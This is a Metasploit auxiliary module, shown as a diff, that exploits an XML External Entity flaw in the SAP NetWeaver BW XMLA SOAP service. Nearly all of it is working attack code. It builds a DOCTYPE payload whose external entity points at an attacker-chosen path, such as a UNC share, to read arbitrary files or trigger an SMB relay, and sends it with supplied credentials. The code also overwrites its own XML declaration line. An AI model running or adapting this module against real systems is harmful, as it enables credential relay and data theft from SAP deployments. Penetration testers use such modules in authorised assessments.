SAP /sap/bw/xml/soap/xmla XMLA service (XML DOCTYPE) SMB relay

Author: nmonkee

modules/auxiliary/scanner/sap/sap_soap_xmla_bw_smb_relay.rb

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+##
+# This file is part of the Metasploit Framework and may be subject to
+# redistribution and commercial restrictions. Please see the Metasploit
+# Framework web site for more information on licensing and terms of use.
+# http://metasploit.com/framework/
+##
+
+##
+# This module is based on, inspired by, or is a port of a plugin available in
+# the Onapsis Bizploit Opensource ERP Penetration Testing framework -
+# http://www.onapsis.com/research-free-solutions.php.
+# Mariano Nunez (the author of the Bizploit framework) helped me in my efforts
+# in producing the Metasploit modules and was happy to share his knowledge and
+# experience - a very cool guy.
+#
+# The following guys from ERP-SCAN deserve credit for their contributions -
+# Alexandr Polyakov, Alexey Sintsov, Alexey Tyurin, Dmitry Chastukhin and
+# Dmitry Evdokimov.
+#
+# I'd also like to thank Chris John Riley, Ian de Villiers and Joris van de Vis
+# who have Beta tested the modules and provided excellent feedback. Some people
+# just seem to enjoy hacking SAP :)
+##
+
+require 'msf/core'
+
+class Metasploit4 < Msf::Auxiliary
+	include Msf::Exploit::Remote::HttpClient
+	include Msf::Auxiliary::Report
+	include Msf::Auxiliary::Scanner
+
+	def initialize
+		super(
+			'Name' => 'SAP /sap/bw/xml/soap/xmla XMLA service (XML DOCTYPE) SMB relay',
+			'Description' => %q{
+				This module exploits the SAP NetWeaver BW XML External Entity vulnerability.
+				An XML External Entities (XXE) issue exists within the XMLA service (XML DOCTYPE) function.
+				The XXE vulnerability in SAP BW can lead to arbitary file reading or an SMBRelay attack.
+				SAP Note 1597066 / DSECRG-12-033.
+				},
+			'References' => [['URL','http://erpscan.com/advisories/dsecrg-12-033-sap-basis-6-407-02-xml-external-entity/']],
+			'Author' => ['nmonkee'],
+			'License' => MSF_LICENSE
+			)
+
+		register_options([
+			OptString.new('CLIENT', [true, 'SAP client', nil]),
+			OptString.new('USER', [true, 'Username', nil]),
+			OptString.new('PASS', [true, 'Password', nil]),
+			OptString.new('PATH',[true,'File path (e.g. \\xx.xx.xx.xx\share)',nil])
+			], self.class)
+	end
+
+	def run_host(ip)
+		data = '<?xml version="1.0" encoding="utf-8" ?>'
+		data = '<!DOCTYPE root ['
+		data << '<!ENTITY foo SYSTEM "' + datastore['PATH'] + '">'
+		data << ']>'
+		data << '<in>&foo;</in>'
+		user_pass = Rex::Text.encode_base64(datastore['USER'] + ":" + datastore['PASS'])
+		begin
+			print_status("[SAP] #{ip}:#{rport} - sending request for #{datastore['PATH']}")
+			res = send_request_raw({
+				'uri' => '/sap/bw/xml/soap/xmla?sap-client=' + datastore['CLIENT'] + '&sap-language=EN',
+				'method' => 'POST',
+				'data' => data,
+				'headers' =>{
+					'Content-Length' => data.size.to_s,
+					'Cookie' => 'sap-usercontext=sap-language=EN&sap-client=' + datastore['CLIENT'],
+					'Authorization' => 'Basic ' + user_pass,
+					'Content-Type' => 'text/xml; charset=UTF-8',}
+					}, 45)
+			if res
+				if datastore['VERBOSE'] == true
+					print_status("[SAP] #{rhost}:#{rport} - Error code: " + res.code.to_s)
+					print_status("[SAP] #{rhost}:#{rport} - Error title: " + res.message.to_s)
+					print_status("[SAP] #{rhost}:#{rport} - Error message: " + res.body.to_s)
+				end
+			end
+			rescue ::Rex::ConnectionError
+				print_error("#{rhost}:#{rport} - Unable to connect")
+				return
+			end
+		end
+	end